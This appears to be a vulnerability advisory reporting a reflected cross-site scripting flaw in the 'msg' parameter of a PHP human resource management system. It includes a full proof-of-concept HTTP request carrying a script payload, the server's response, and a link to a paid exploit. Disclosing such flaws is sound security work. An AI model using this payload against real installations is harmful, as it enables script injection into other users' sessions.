## Titles: HRM-1.0 2025 Cross-site scripting (reflected)
## Author: nu11secur1ty
## Date: 06/06/2025
## Vendor: https://github.com/oretnom23
## Software:
https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
## Reference: https://portswigger.net/web-security/cross-site-scripting
## Description:
The value of the 'msg' request parameter is copied into the HTML document
as plain text between tags. The payload qq1r0uideq
was submitted in the msg parameter. This input was echoed unmodified in the
application's response.
STATUS: HIGH- Vulnerability
[+]PoC:
```
GET
/hrm/index.php?msg=Username%20and%20Password%20is%20Wrong!qq1r0%3cscript%3ealert(1)%3c%2fscript%3euideq
HTTP/1.1
Host: pwnedhost.com
Accept-Encoding: gzip, deflate, br
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Referer: http://c002fdb5-0dfa-412d-85a2-9acbad562940.com/
Sec-CH-UA: "Chromium";v="136", "Not;A=Brand";v="24", "Google Chrome";v="136"
Sec-CH-UA-Platform: "Windows"
Sec-CH-UA-Mobile: ?0
```
[+]Response:
```
HTTP/1.1 200 OK
Date: Fri, 06 Jun 2025 09:36:28 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
X-Powered-By: PHP/8.2.4
Content-Length: 4044
Connection: close
Content-Type: text/html; charset=UTF-8
Login Page - HRM
Human Resource Management System
```
[+]Exploit:
```
[href](https://satoshidisk.com/pay/COZeJl)
```
## Reproduce:
[href](https://www.youtube.com/watch?v=hzDslf652tI)
## Time spent:
00:27:00